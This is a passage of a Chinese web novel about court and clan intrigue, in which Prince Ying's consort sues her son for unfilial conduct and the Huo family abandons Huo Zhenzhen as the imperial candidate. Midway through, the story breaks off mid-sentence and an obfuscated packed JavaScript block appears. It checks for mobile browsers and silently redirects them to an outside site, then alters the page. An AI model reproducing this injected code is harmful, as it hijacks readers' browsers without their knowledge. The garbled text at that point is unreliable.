“如果当年圣人没有禅位,可能他早已掌控不住局势乃至已经被害驾崩。”晏霁之说,吓得霍灵渠差点跳起来,她不可思议:“你在说什么呀?” “好啦,圣人已经禅位多年,没什么可探究的,重要的还是眼前;你做贵妃,霍灵渠还曾是我的宠妾流光,这变数超出圣人的掌控,局面就不会被压死。但没有人能预料这变数会牵动多少变化,那就意味着谁也没把握这盘局势的走向,其实也很险。” 晏霁之抱她吻通,轻啄女人花瓣般的红唇笑:“有没有觉得自己特厉害,你是唯一的破局法宝;没有你或者说皇帝没有找到你,皇帝和霍家就乖乖等着继续干瞪眼吧。” 霍灵渠不以为然:“圣人把局面压死也没什么不好,死局至少代表稳当。” “哈哈…你可以和圣人做知音了。”晏霁之乐了,话锋一转问:“太阳晒够没有?” “……”霍灵渠深吸气斥他,没说几字又被男人吻住,她拗不过只能陪着,没多久两人吻得难舍难分险些还在阳台时就不可收拾,晏霁之果断抱她回卧室。 黄昏晚来风急,豆大雨滴如大珠小珠落玉盘般砸落尘世间,暴雨降整夜至黎明前才停,春雨润物亦洗涤得碧空澄澈高远,阳光灿烂普照大地,又是个鸟语花香的晴朗天。 晏霁之抱着美人坐秋千,他穿身描山水诗的灰白真丝飘逸长袍,非得让女人也配合,霍灵渠一袭绘山水彩画的玉色雪缎绫裙,闭眼靠在他怀里,只当没看见婢女们在偷笑。 不怪婢女们偷笑,他俩这当众搂抱的腻歪劲儿确实过于亲热,晏煦之走进院里,猝不及防看到这幕都觉得眼睛疼:“哥哥,你才十五六岁吧?” 霍灵渠倏然睁开眼,从男人怀抱里出来,屈膝请个安就带庭院中的婢女们告退。晏霁之嫌他碍眼:“我抱自己的爱妾在院里荡秋千晒太阳算多大点事,我还没怪你来打扰我呢。” “你看看你这卿卿我我的劲儿头,我看你魂都要赖在流光姨娘身上了。”晏煦之坐进秋千架里,没好气问:“前天你是不是传令府里减你亲娘的用度?” “我叫你哥好吧,有王爷在,我能越过王爷做主吗?” 晏煦之取出袖中的状纸递给他,冷笑道:“两份,今早英王妃去礼部和大理寺都走了遍,佟尚书告假,礼部侍郎和大理寺少卿亲自到兵部交给大伯的。” 这是英王妃佟梦娴状告亲儿晏霁之不孝的状纸! 47. 第47章 自古重孝,律法有明文规定,真盖章定论冠上不孝之名,晏霁之得仕途尽毁乃至下狱。 晏霁之逐字读过状纸,肯定道:“佟尚书不知情,佟家背着他做的。” “大伯让我搬来住,过俩月由我媳妇代管王府中馈。”晏煦之气笑:“哼,有种嚣张到底,别低头求饶恶心我!想决裂,谁还跟他佟家客气?” 世间父母与子女失和闹僵甚至骨肉成仇的事例多不胜数,然而哪怕已没有丝毫骨肉情哪怕已经落到逼近你死我活的地步,真摆到台面上决裂的情况仍是寥寥无几,因为利益。 谁是孤家寡人呢?想把事情做绝也得掂量能否承受得起这代价,亲娘状告亲儿不孝,即使状告成功又何尝不是把双刃剑?对内,除非她在夫家有绝对碾压优势,否则她还指望能在夫家立足吗?对外,她还能逃得掉恶毒不慈的骂名吗,还有几人会真心和她往来? 不过家庭冲突造成的舆论谩骂想解决也容易,俗语都说清官难断家务事,何况是母亲与亲骨肉之间引发的矛盾,只要处理得当,翻手间就能从劣势转成占上风。 “不会来求你,佟尚书会用最快的速度带妻女前往太微宫向圣人磕头。”晏霁之温和笑:“英王妃苦苦哀求认错跪到昏倒,我该去陪着磕头帮生母帮外祖家向圣人求饶,演场母子情深重归于好,否则担骂名的还是我。” 晏煦之反复思量都找不出破绽反驳,且后续他们还不能再对佟家人出手报复,否则名声受损害的就是晏家,憋屈道:“哥,我们就要这样受尽佟家拿捏吗?” “今天就搬回来吧。”晏霁之抬手臂拍拍堂弟的肩膀,笑道:“离开许多年,我猜你肯定对家里有些陌生了,自己走圈看看喜欢哪座院,午后就和弟妹搬回来住吧。” “好!”晏煦之压住气闷宽慰堂兄几句后离去,留他独自静会儿。 庭前天朗气清花草清香,四周围空荡荡,在这种春光明媚的好时节里忽然生出股萧索,晏霁之独自坐在秋千架里半刻多钟,重新展开这张状纸,再逐字逐字读遍,自嘲笑起来,生出他的那人想要毁掉他,比那位想争夺爵位的庶兄出手还要狠,真好。 静坐一刻钟,晏霁之回屋,屏退众婢女,抱霍灵渠坐进软塌里,把状纸递给她,埋进她怀里像个受委屈的孩童终于抛开在外伪装的坚强在最亲密的人面前表露难受。 “这、这是?”霍灵渠惊悚:“英王妃去衙门状告你不孝?不孝可是重罪能让你下狱的。要是被定罪,你下半生可能会被毁掉,你又没对亲娘做伤天害理的事,她何至于要这么狠?难道二十多年的亲骨肉,她真的只当你是傀儡只想拿捏你吗?” “我在想我是沉浸在温柔乡里太懈怠了吗?我发现近来我很需要反思。”晏霁之笑笑,把佟家的应对措施告诉她,捧捧美人的脸蛋打趣:“能替我出头吗?” 霍灵渠平复下,当真思索起来:“那,圣人会如何处置?” “可能轻拿轻放,可能着重处置以儆效尤,还可能会雷声大雨点小,而我倾向于后者,太上皇需要收拢人心更会乐见晏家祸起萧墙。”晏霁之吻吻她,感叹道:“你还真说对了,她是我生母就永远占着舆论优势,想要毁掉我也能轻易反转让我憋屈。” “就不能再反击吗?”霍灵渠鼓励道:“她占据你生母的优势,正面抗衡你讨不到好,我们可以另辟蹊径,譬如掐断佟尚书再想攀龙附凤之心。经此后佟家还能有好名声吗?我就不信京畿贵胄们的眼睛都是瞎的。” “不瞎又如何,佟钟氏及其儿女们为何有恃无恐?”晏霁之嗤笑:“佟家的外孙女明年就能入主中宫,蓁蓁虽有怀疑,但不需多久就能被外祖家重新笼住。圣人要把朝局压制住,皇帝过几年才会动继后都是两说。” 霍灵渠怀疑他难受得影响智商了:“你不是说我做贵妃,霍蓁蓁不可能再做继后吗?” “贵妃都还没入宫,明面上谁会知晓……”晏霁之声音渐弱而目光神情渐变,一个念头油然浮现在脑海,把女人拥在怀里思量琢磨片刻,和她探讨:“灵渠,如果我想请霍家今天就做出表态会放弃捧霍蓁蓁,我怎样做才有可能说服霍家?” “今日?”霍灵渠惊讶仰头,疑惑道:“你是想?” “对!”晏霁之冷笑:“英王妃这张状纸是在明目张胆打太上皇的脸,太上皇既未表态,谁知情况有多严重?!既然如此,我何不将事态演变成最严重。 无论谁阻断蓁蓁的皇后梦都会被她恨入骨髓,你做贵妃、霍家放弃捧她,她恨的是你,少不得会给你添点麻烦。可眼前既然有这么好的现成箭靶,何不干脆让她去恨她的外祖家和大姨母?!佟家的算盘因此落空,也不枉佟老太太和英王妃祭出这张状纸。” 霍灵渠有些触动地伸手抚抚他的脸,晏霁之低头亲她口:“怎么了?” “没什么,没事。”霍灵渠靠近男人怀里,考虑道:“最简单的当然是你直接带我去见我爹爹祖父和大伯,可我出面,事情容易节外生枝。 要么你给我祖父送张纸条,就写:请太后今日召集命妇给霍蓁蓁相看。祖父应该能猜出这不会是你的辞令,前天爹爹和祖父大伯都来了,又见过桑柔,应该已猜到灵渠就是流光。但若祖父不能领悟或者不肯答应,你只能另想办法。” 请太后今日就召集命妇给霍蓁蓁相看?!晏霁之笑哭不得,你可真够直接的,我给你祖父送这种纸条,你祖父得有多广阔的胸襟才能不在背后扎我的小人。 “好,姑且先试试。”晏霁之很温柔地再亲亲她,放开美人,走出软塌来到寝屋门前,扬声吩咐婢女们去准备笔墨纸砚。 笔墨和纸张备来,晏霁之书写好信笺,传来晏诺交代:“换身江湖侠士装扮,避开正门翻~墙进霍家,拿到霍老太爷的答复再回。哦对了,再蒙脸戴顶纱帽。” 晏诺收好信件,去换身行头就出府办事,同个时间,霍漓江到户部找侄儿普及八卦。 霍巨浪受惊吓险些喷茶水,拿丝绢擦擦水渍,不信道:“二叔你开玩笑吧?” “你看叔叔我很闲吗?”专门跑来跟你讲这种笑话?霍漓江恭维道:“自家还没出位娘娘就敢想和晏家硬拼,这母女俩和佟梦奭是要上天啊。” “不、不是,二叔,前天圣人刚颁圣谕追尊温献皇后以及罢免佟梦奭,今早英王妃就跑衙门状告亲儿不孝,谁会眼瞎看不懂?”霍巨浪难以置信:“这可是明目张胆打圣人的脸,是佟家想明天就回老家吃土还是英王妃想下月就病逝?” “是侄儿你想忒多。”霍漓江可怜道:“最后憋屈的只会是我那位倒霉的外甥。” “您是指佟图匡会让英王妃向圣人哭求卖惨?”霍巨浪顺着猜测,顿时恍然:“对啊,只要把过错全部推给晏霁之,这当娘的只是性格简单冲动被忤逆的儿子气昏头就行。 如果英王妃再磕破头脑袋求得惨惨戚戚,晏霁之若不现身就是坐实他的不孝,甚至圣人都不好再严厉惩处,晏家更不便在这种节骨眼儿反击报复。” “够憋屈吧?”霍漓江都有点同情了,霍巨浪挺赞同的,但他想不懂:“可是二叔,佟家和英王妃搞出这种事图什么,图与晏家决裂吗,还是英王妃活腻了要自绝生路? 京畿所有衙门都不会接这张状纸,就算英王妃告到宫里,她这状纸也只会被压下,既得罪太上皇又会彻底挑起晏家的怒火,图什么?佟图匡短时能令晏家尝尽憋屈,长久呢?真当晏家能白白忍这种窝囊气吗?根本不讨好嘛。” “蠢呗。”霍漓江肯定道:“那母女俩和佟梦奭瞒着佟图匡做的,三个蠢货都憋着暴怒,那就干脆烧把大火,他们仨连这状纸会被压下都想不到的。” 霍巨浪发现他竟然无言以对,抹把脸总结:“这种娘是真的根本没有疼爱过儿子吧。” 八卦的传播速度总是特别惊人,可饶是霍海啸听闻都有点懵:“岳父,您当真?” “唉,我今早亲自接的英王妃的状纸,也懵了。”房侍郎摇头叹息:“何至于这么狠辣,鸟兽尚且有舐犊情,何况是人。” 霍海啸淡淡:“人心有善有恶,人心之恶毒又岂是禽兽所能及。” 房侍郎有点接不住或者说不想接这话,沉声道:“佟尚书今早告假,瞧着像故意避开,但我猜佟尚书不知情,此乃佟梦奭姐弟擅作主张,你觉得呢?” “我猜佟老太太必然知晓,更是由她拍板决断。”霍海啸问:“岳父何意?” “唉,是你二叔家的祯毅堂弟,亲戚间走动见过佟二姑娘几回便上了心,闹着他祖父要请冰人往佟家说亲。”房侍郎也不瞒着:“父亲本来同意的,想陛下册封贵妃以后再请媒人,不想前些天耳闻英王妃常年寻机拿夫家填娘家,就有些迟疑了。” 霍海啸笑笑:“姻亲间的帮扶哪算得清?只是关系祯毅堂弟的姻缘,我不能隐瞒岳父,佟家透过意思想让霍家帮忙助佟二姑娘获封贵妃。” “贵妃?”房侍郎再度懵了:“这、这佟二姑娘和蓁蓁姑娘可是嫡亲表姐妹,陛下册封贵妃选谁家都不可能选佟家,佟家怎么可能凑这种热闹?” “做策应。”霍海啸就差明言了:“不然蓁蓁听到外祖父和表哥的谈话生出些许怀疑,佟梦奭也不能对亲外甥骂贱种,落到被圣人罢官。” 房侍郎愣下才想明白女婿话中意,震惊看着他,沉思稍许略有感慨:“佟尚书挑亲家的本事确实厉害,举国恐怕都没有比他更会挑姻亲的当家人了。” 被夸厉害的佟尚书佟图匡此刻气得发抖,礼部派人来告知他何尝没有把他打懵? 今早天未亮他夫人突然害病,像患癔症般神智不清只喊他的名,四十多年夫妻,他哪能忍心再不陪着,哪想到,哪能想到这竟然是装病骗他留在家好实施他们的计策?! 手指骨节被压得彻底泛白,许久,沁出些冷汗,佟尚书冷静下来让报信的小吏回礼部,再静坐两刻钟后他站起来,正要迈步回后院,书房门突然被撞开,佟梦佶急匆匆闯进屋,身后还跟着追他的小厮。 “爹,我听说大姐——”佟梦佶心急火燎被老父打断,佟尚书摆摆手令两个小厮退下,闭眼道:“是真的,今早你大姐去了礼部和大理寺告亲儿不孝。” 嫡母害病,佟梦佶本想在病榻前侍疾,但父亲亲自留在家照顾,让小辈们无需告假了。他也没多想嫡母病情有诡,毕竟最近事情多,嫡母受不住害病了也是有的,哪想到?! 父亲亲口证实再没有侥幸,佟梦佶气得差点爆粗口,悲怆握拳问:“能忍吗?爹,太上皇和晏家能忍吗,晏霁之又还能对亲娘剩多少母子情?” “圣人殚精竭虑防着陛下夺权,需要收拢人心,处置只会做做样不会动真格,而晏家?”佟尚书低头,声音有点苦涩:“梦娴糊涂,她哪懂不孝的重罪有多惨烈,她就是想管教儿子,她定然以为她告这状只会让霁儿坐几天牢吃点苦头而已。” “大姐不懂,难道大哥也不懂吗?”佟梦佶实在没办法再维持对嫡兄的敬重谦让,他猩红眼眶吼:“大哥就是故意,他被罢官的那天就已经存心想怎样报复了。” 佟尚书撑着桌案,沉默冷静下,交代幼子留在前院后离开;佟梦佶送父亲走到屋檐下,握紧拳头恨恨一拳砸向廊柱。 老太太在‘病’中,屋里除了英王妃三姐妹、佟梦奭夫妇和佟四夫人在病榻前侍疾外,佟家的孙辈中虽然只有佟妙兮,外孙们足有四位,霍振羽兄妹也在,毕竟是疼爱他们多年的外祖母突然害病还病得很重,兄妹俩都硬不下心肠不过来。 而英王妃的状纸,除了参与策划的佟老太太和佟梦奭夫妇之外,屋里也就只有佟妙兮已经被她母亲告知。霍振羽他们四位外孙正踌躇商量想请大表哥晏霁之来趟探病,佟尚书脚底生风冲到老妻病榻前,冷冷扔下三字:“别装了。” 里屋肃然寂静,佟大太太识趣地带女儿退向角落,不知情况的众人猛然怀疑也有不信,兴献侯夫人佟梦姿要反驳被她妹妹拉住,霍振羽想出面慢半拍,佟梦奭想争辩也被按住了,佟老太太掀被出床榻,傲然站立与丈夫对峙。 “没错,就是我的主意,怎么,你还心疼那小孽畜想替他出头吗?” 佟梦姿和妹妹对视眼都察觉到不对劲,佟四夫人也默默退缩到角落里,霍蓁蓁看外祖母突然神奇病好,愣下旋即明白这是装病,要冲上前被她大姨抢前,英王妃满含怒恨吼:“爹,我要管教儿子怎么了,这是那孽障自找的!” “爹,您也不能怪我们瞒着您。”佟梦奭索性不再想争辩,压抑痛恨劝导:“那畜生自己做尽孽弄得众叛亲离,您何苦再维护他惹得自家人难受?” 佟尚书冷然走向长女,扬起手臂狠狠一巴掌扇过去,把英王妃打得摔倒也把屋里其他人都给打懵了,老太太震惊过后涌起熊熊怒火:“佟图匡你疯了啊! 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459239|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害卓伦不能高中状元,你像个没事人;他挑拨蓁蓁和外祖家生嫌隙,你又一笑置之;梦奭被他害得丢官你竟然还不在意,前天我在晏家受尽屈辱,你仍然无动无衷,你还能怪我们瞒着你出手吗?你居然为这点事为那个孽畜打梦娴,你还知道谁才是你的家眷吗?” “爹?!”奴婢和妹妹要扶她都被她推开,英王妃佟梦娴手捂着脸,自己站起来,又恨又委屈,恨得眼眶通红冒泪花:“爹,你还当我是你女儿吗?” 佟尚书把最小的两个外孙女和屋里众奴婢遣退,再叫外孙:“振羽,你外祖母和大舅、大姨合谋出好戏,你大姨今早去了礼部和大理寺递状纸告亲儿不孝,你说说如果你大表哥被判定不孝,会落得什么下场?” 霍振羽如遭雷劈般看着外祖父,难以相信道:“外祖父您在说笑吧,这怎么可能?” 顺郡王妃咽咽口水,真觉得她娘和哥哥姐姐有点狠了;兴献侯夫人心头有点烧,她怀疑这大姐是疯了吗?霍蓁蓁不清楚不孝的罪名会判多重也知道这是很重的大罪,看看他们,往她娘身边靠,她也不想再计较外祖母装病骗她,她就有点想回自家。 “当然是坐牢吃牢饭!”英王妃冷笑抢话:“这孽障反了天了,动不动就忤逆亲娘,我要是再不狠狠教训顿,他就不知道怎么做儿子怎么听话,我看他以后还敢不敢再违逆我!” “那你想过一旦霁儿被定罪不孝,他会被关在牢里多久吗?”佟尚书愈加严肃,英王妃捂捂被父亲打得肿起来的脸颊,神情难免得意:“当然是我说了算!这孽障要是知道认错,关两天,我就让他出来;这孽障要是还犟,关两三个月都别想我心疼他。” 佟图匡有心理准备才没被这糊涂长女气得头顶冒烟,头回觉得女儿们太糊涂也不行。他瞥过长子,咬牙没再深究,切入正题:“可梦娴你想过后果吗? 太上皇刚追尊温献皇后抬举晏家,更是为给霁儿出气才罢免梦奭,你却状告亲儿不孝,你这可不是在管教儿子而是与太上皇唱反调在打太上皇的脸,太上皇能容忍吗?” 英王妃愣住,佟老太太也愣了愣,显然没想到有这层厉害。佟梦奭想明白不由懊恼,早知道他就不该那么冲动该再多忍几个月,这下可真是得不偿失了。 “那、那…那我撤回状纸,这才一上午,太上皇没那么快知道的。”英王妃不甘心道。 “来不及了!”佟图匡告诫长女:“你和你娘即刻随为父前往太微宫磕头求圣人宽恕,你再给自己扇巴掌把脸打肿,磕头的时候绝不能糊弄要往死里磕,懂吗?” “爹?!”英王妃哪能情愿,要反驳被她母亲拦住,老太太到底知道厉害:“梦娴别闹,这可不是使小性的时候,圣人若是发作,我们就不是磕几个头就够了。你想想若是圣人大怒要令你过几月暴毙,谁能挡得住?便是蓁蓁和妙兮都已经做娘娘也挡不住的。” “哪至于——”会严重到要她的命?!可迎上他们全部赞同的神情,英王妃死活说不出反驳的话,只能憋屈别过头不吭声。 佟图匡也没硬逼长女立即自扇巴掌,继续交代他们:“梦奭去找你大姐夫赔罪,梦姿带蓁蓁回霍家请老穆国公和霍太后在必要时帮忙说情,振羽找你表哥探探他的心思。” 众人皆无异议,霍蓁蓁和她哥都没得想过要在这种时候说不,很快大家各自出门补救。 佟妙兮和她母亲回自己的院子,随行的奴婢远远跟着,她神情低靡:“娘,得罪太上皇,陛下不可能会再考虑册封佟氏女做贵妃了吧?” 若是知道会开罪太上皇,佟大太太说什么也要阻拦,公爹点明时她真是别提多懊悔了。她也猜到佟家没机会了,可面对这么出挑的女儿,她实在不忍心,只往好处安慰。 四批行动中,霍振羽最先赶到目的地但被晏煦之阻挡、连府门都没让跨进,在英王府前周旋两刻钟,晏煦之把人赶走顺便吐槽:“没救了。” 兴献侯夫人带女儿回到霍家后直奔婆母的大院,三言两语打探到公爹竟已经进宫了。 午膳的时辰进宫,霍太后几乎怀疑她爹是闲着无聊进宫蹭吃蹭喝来了,被告知有正经事时她稍微信了,听完什么事,无语道:“爹您是不是闲得慌? 圣人真动怒也就杖刑英王妃、把佟尚书降职,圣人若是无意多计较,让他们跪两天再严厉训诫番就差不多了,怎么惩处都殃及不到蓁蓁头上,您这不是没事找事吗?” “你是不是傻?”霍老太爷训斥太后闺女:“看不懂爹真正的用意吗?” “爹,您可别嫌我说话难听。”霍太后很习惯老爹的德行直接把傻字忽略,提醒道:“我没兴趣知道您为何心血来潮想舍掉蓁蓁,但您该清楚您已经71岁,你已经半截身子入土,等海啸的闺女还要五六年,我和大哥等得起,你等得起吗?” 霍老太爷霍擎端起茶杯喝口,老神在在挺直腰板,拄着拐杖开始哄骗闺女:“家里最近新请到位名医表示能治好灵渠的伤疤。” “真的?”霍太后将信将疑:“已经有多少大夫说过能治能治,结果呢?全是群庸医。” “你管他真的假的!”霍擎不耐烦给闺女闲扯,挑重点提:“灵渠进宫,谁做皇后?” “废话!”霍太后不假思索道:“可就算皇帝不在意,灵儿自己在意那身伤疤嘛,要不然能给她和皇帝取消婚约吗?当年就那么抗拒,灵儿现在能愿意进宫吗?” 霍擎反问:“有伤疤耽误生娃吗,灵渠有娃以后还能别扭吗?” “呃……”霍太后犹豫,霍擎蛊惑:“行了,再过半年你让皇帝颁道册妃的圣旨。那伤疤能治就治,不能治,在你死前,家里送个娃进宫帮衬灵渠,什么都齐活了。” “对,对对对,爹您考虑得有道理。”霍太后想明白,乐得抚掌:“明天我就召——” “现在立刻马上!”霍老太爷霍擎打断训导:“兵贵神速懂不懂?得趁着圣人还没表态,我们才好运作;如果圣人今天表态不多计较,你明天才召集命妇还能达到我们要的效果吗?咱是不在意蓁蓁那点怨气,但有这么好的现成箭靶,为什么不用?” 霍太后再抚掌应对,忙不迭站起,走到大殿门槛前召来被她远远退避的宫人吩咐:传令正三品及以上的命妇即刻进宫,她要给将及笄的侄女霍蓁蓁相看。 而这道谕令仿佛最猛的火~药桶,不到一个时辰就燃爆皇宫和整个京畿官眷圈。 48. 第48章 当出现超过已认知思维范畴的事或者讯息时,人们本能的反应往往是怀疑。 霍家蓁蓁是谁?是霍家要捧上位、是京畿百官命妇们都已经明认的继后,郭皇后请辞入道观修行,这位就会入主中宫;除非霍家决意舍弃她,否则太后给她相看岂不荒谬?况且此前没有丝毫预兆,更不提霍家目前除她之外没有适龄的姑娘。 包括郭皇后在内,皇宫中听闻消息的其他人尚在不信或猜疑时,皇帝带霍雄鹰与霍才人霍鹣娇前后脚迈进长春宫询问情况:是不是宫人们粗心糊涂传错太后的命令? “蓁蓁将及笄还没落定亲事,我这做姑母的难免操心,皇帝有什么疑虑吗?” 霍雄鹰很怀疑太后姑母被五通神附体了,正徽帝嬴忱璧笑笑挑明:“母后,皇后可能明年就要入道观潜心修行,继后的人选,百官都推举蓁蓁姑娘,您是知道的。” “母后知,蒙众卿抬爱,只怪蓁蓁没福气。”霍太后风韵美丽的脸庞惋惜而痛心:“想必皇帝已经听闻蓁蓁她大姨母今早做的混账事。 这恶妇竟敢践踏圣人的尊严威望,以死谢罪都不足惜,即便圣人仁慈宽宥、给予恩德宽恕她的罪过,到底恶行严重,蓁蓁有这种姨母如何还能承担得起做皇帝你的继后?” 霍雄鹰不可思议想太后姑母是故意在小题大做吗?霍鹣娇心花怒放憋笑,嬴忱璧配合:“母后所言极是,继后的人选事关国体不能有任何瑕疵,只怪蓁蓁姑娘运道差了。” “母后何尝不替蓁蓁可惜,但涉及圣人尊严和我们皇家颜面,绝不容有丝毫姑息懈怠。”霍太后收起痛惜转而慈爱道:“皇儿放心,母后定会给你挑个最好的继后。” 等他大侄女还得几年,这不是摆明要便宜霍鹣娇吗?霍雄鹰差点想插话劝姑母三思。 嬴忱璧陪养母演:“母后辛苦将孩儿抚养长大,孩儿本该奉养母后含饴弄孙安享荣华,不想孩儿到这年纪还要母后费心劳神,儿子实在惭愧。” “皇帝哪里话,趁着母后还有精神头能给你揽过些锁心事,母后高兴还来不及。”说着,霍太后又含笑转向侄儿吩咐:“雄鹰你和鹣娇带宫人们先退下吧。” 霍雄鹰憋闷地带这庶妹和众宫婢告退,退到殿外。 金碧辉煌的大殿空阔下来,霍太后也不绕弯:“皇帝可已经想好贵妃的人选?” 嬴忱璧无缝隙避过:“母后可是有好人选?” “皇帝啊,母后看得明白你对灵渠从未忘情,灵儿可怜,母后实在不忍心她后半生就在庵堂里青灯古佛终老,如此良机何不干脆册封灵渠做贵妃?”霍太后过后再想发现她爹根本多此一举,皇帝即将册封贵妃,那又何必多等半年还要让别人占掉贵妃位? “……”做好准备太后会提任何人就是没想到会提霍灵渠的皇帝有点懵,不可思议想,难道这就是霍家和太后突然决定舍掉霍蓁蓁的原因吗? “母后考虑的有道理,”也可能霍家舍掉霍蓁蓁是想改捧霍海啸的嫡长女,嬴忱璧试探:“可若灵渠做贵妃,继后择哪位您有想法吗?” 霍太后有点惊喜竟能如此顺畅:“皇帝同意册封灵渠做贵妃了?” 嬴忱璧痛快应承:“是,孩儿能和灵渠再续前缘,儿子也欢喜高兴得很。” “母后相信灵渠若知定然也欢喜得很,母后也总算了却桩心事。”霍太后一点没觉得是在得寸进尺:“只是皇后进道观修行,灵儿已是贵妃位同副后,再挑个十五六岁的小姑娘来,母后真怕灵渠会受委屈,皇帝说呢?” 幸亏嬴忱璧同样想把继后的位置给霍灵渠:“那么,等灵渠生下皇儿再晋位?” “好!”霍太后开心得喜笑颜开:“好,就按皇帝你说的办。” 嬴忱璧自然辨得出养母是真高兴,他更有把握太后还不知道济善庵里那位是假的,一个容貌尽毁的侄女都要费尽心思捧上国母的宝座,他不得不承认太后真疼爱霍灵渠,娘家所有侄儿侄女们加起来都比不得,可能连湘王这亲儿都不及矣。 皇帝带霍雄鹰走出长春宫,太后给霍蓁蓁相看的原因也如箭矢般射向皇宫的角角落落,这理由足够冠冕堂皇,虽然仍不乏怀疑声但也确实开始相信霍家在动真格了。 晋王进宫陪生母庄太妃用午膳,本想拿佟家和英王妃这蠢事做做文章影射霍蓁蓁和霍家,哪想到霍家反应如此敏捷,气得他抄起刚奉上的热茶就砸。 “老匹夫!霍擎这老匹夫,本王看他有没有命能等到曾孙女及笄!” 圣人禅位做太上皇之后迁居九宫山的太微宫,在太微宫陪伴圣人的宫妃除了吴王的生母蒙太妃和简郡王的生母班太妃外,其他嫔妃皆不超过花信年华;剩下这批年长的妃子们则留在皇宫里,搬出原来精美的后妃宫殿,搬进给太妃们住的宁寿宫和慈寿宫。 几十位太妃挤两座宫殿,还算是好的呢,倘若太上皇驾崩,没坐上一品又没生育过的太妃们全得搬出皇宫、前往皇家寺庙落发给先皇祈福。 庄太妃五十岁出头,圣人做皇帝时她是庄淑妃;圣人禅位做太上皇,她就成了庄太妃。她保养得不算好,衣着装扮更是朴素,虽然还能看出年轻时的秀美但并不减龄多少。 她只比霍太后年长八岁,可两人瞧着就像是两代人。只是庄太妃也已无所谓容颜衰败,相比晋王的心浮气躁,她淡然而笑从容得很:“姜是老的辣,不算意外。” “可霍家愿意多等五六年,霍氏能不逼皇帝挑个让她掌控的贵妃吗?皇帝八成会退让,朝局走势还能利于我们吗?”晋王真讨厌这种充斥变数的感觉:“还有魏王,只剩一年多了,那么多批眼线派出去还没有找到悼太子留的兵符!” 庄太妃捏着小叶紫檀佛珠手串的指尖定住,复而安抚:“皇儿莫急,皇帝对霍家的刺消除不了的,而魏王?恐怕他自己都没找到,否则他哪能沉得住气?” 皇宫最新的消息还没传出,宫外仍只有霍太后召命妇进宫要给侄女霍蓁蓁相看的传闻,这传闻给霍家众老少爷们乃至府里的女眷造成的突发影响也还行,就堪比飓风过境。 霍漓江和霍海啸在家门前碰上,发现叔侄彼此都有点狼狈,正好谁也不必嘲笑谁,一起进府找老太爷要交代,冷不妨砸道雷是故意耍他们玩吗? “前日早朝,圣人追尊温献皇后,明晃晃的敲打,这种机会还能不表衷心吗?再说了,下半年要把佟家拔起,佟氏必会恨毒咱家,谁能保证振羽和蓁蓁能不恨?这种情况,还想把蓁蓁捧做继后岂不是我们吃饱撑着非要给自己找虐吗,傻不傻? 就算他们兄妹能体谅,可蓁蓁都已经怀疑了,今早听说外祖母生病,她还能跟她娘去佟家探病,连佟家存心想把她当踏脚石要害她都拦不住!振羽更是已经清楚多久,有影响吗?不还是屁颠屁颠往外祖家跑,对着佟家比对霍家上心十倍。” 霍老太爷霍擎讽笑:“他们兄妹心里姓佟,霍家冒尽风险披荆斩棘捧佟氏蓁蓁图什么?老头我没让披着霍家皮的佟氏兄妹把那么多年占尽霍家的便宜吐出来,够客气了,逮到个现成的箭靶还不添把火让他们自家人去窝里恨吗?” 霍漓江提醒:“爹,我们问的是你为什么不提前通知我们?” “必须在太上皇表态前才好运作嘛,刻不容缓。”老太爷狡辩,霍漓江呵呵:“那我们全部回避,你出面给所有来追问的亲友包括佟氏母子仨做解释?” 老太爷憋屈,把刚藏的布偶人扔到桌面上,布偶上扎着密密麻麻的银针根本看不出纸条写着谁的名字但也够叔侄俩猜到了,霍漓江很不爽:“老子为什么要同情这种混球?” 霍海啸沉默着把银针全部拔掉想重新扎遍,看到纸条上的字反而犹豫,是晏霁之的字迹但可不像晏霁之的作风,思索番后更不爽:“我去太微宫禀明圣人。” 他虎虎生威走出府门,摄人的气势愣是让他赶回家来的庶弟没敢上前询问。他刚离开,霍家几位姑奶奶急急忙忙奔回娘家,她们没得到过娘家要放弃捧霍蓁蓁的知会便认为是谣言,可架不住现在外面已经传得天花乱坠。 来霍府求证的亲友很快多起来,好在目前还没有来凑热闹看笑话的,谁也没那么不长眼往兴献侯夫人母女跟前凑,直到顺郡王妃的到来。 “小姨你在胡扯些什么呀?”霍蓁蓁无语,怀疑这姨母得癔症了;当姐姐的也挺无语,顺郡王妃焦虑吼道:“谁跟你们开玩笑,官眷里都已经传遍了。 一个多时辰前太后就召令三品以上的命妇进宫要给蓁蓁相看,霍家说什么大姐践踏圣人的尊严和皇家颜面,即便圣人仁慈宽恕大姐的死罪,但恶行昭彰影响深重,蓁蓁有这种姨母承担不起做陛下的继后。你们要是不信,现在就跟我进宫!” 霍蓁蓁瞬间变脸蹭的下从罗汉床里直挺挺站起,兴献侯夫人手抖地抓住妹妹的手臂,心头狂跳追问:“梦如你真的没骗我?可是、可是不可能啊,霍家这些姑娘里除了蓁蓁以外,谁还能做皇后?霍家怎么可能能舍掉蓁蓁?” “二姐你傻吗,霍海啸霍巨浪没有嫡女吗?不过是再多等几年,你还怕霍家等不起吗?现在是霍家都已经想要舍弃蓁蓁了,还有什么可能不可能?”顺郡王妃心都烧起来了:“赶紧想办法救补挽回啊怎么办?” “不可能、不可能,”霍蓁蓁小脸煞白,抗拒地摇头:“那大侄女还不满十岁,祖父这么大岁数怎么可能等得起?等不起的,只能由我做皇后,没有别人,一定没有别人。” “你那大侄女只比你小五岁,就算老穆国公等不到那时候,穆国公和霍海啸能等不起吗?人家可是亲孙女亲闺女,你就是个侄女是堂妹,你怎么比?赶紧给小姨清醒点!”顺郡王妃火烧火燎急得像热锅上的蚂蚁:“振羽呢,霍漓江呢,这种时候还不回府?!” 霍蓁蓁如梦初醒般急忙一把抓紧小姨母哆哆嗦嗦问:“那我怎么办,我们怎么办……” 兴献侯夫人紧随追问,顺郡王妃强自镇定道:“别慌别慌,我们、我们进宫,对,进宫!”她像抓住主心骨般说:“我们先进宫劝太后收回旨意。 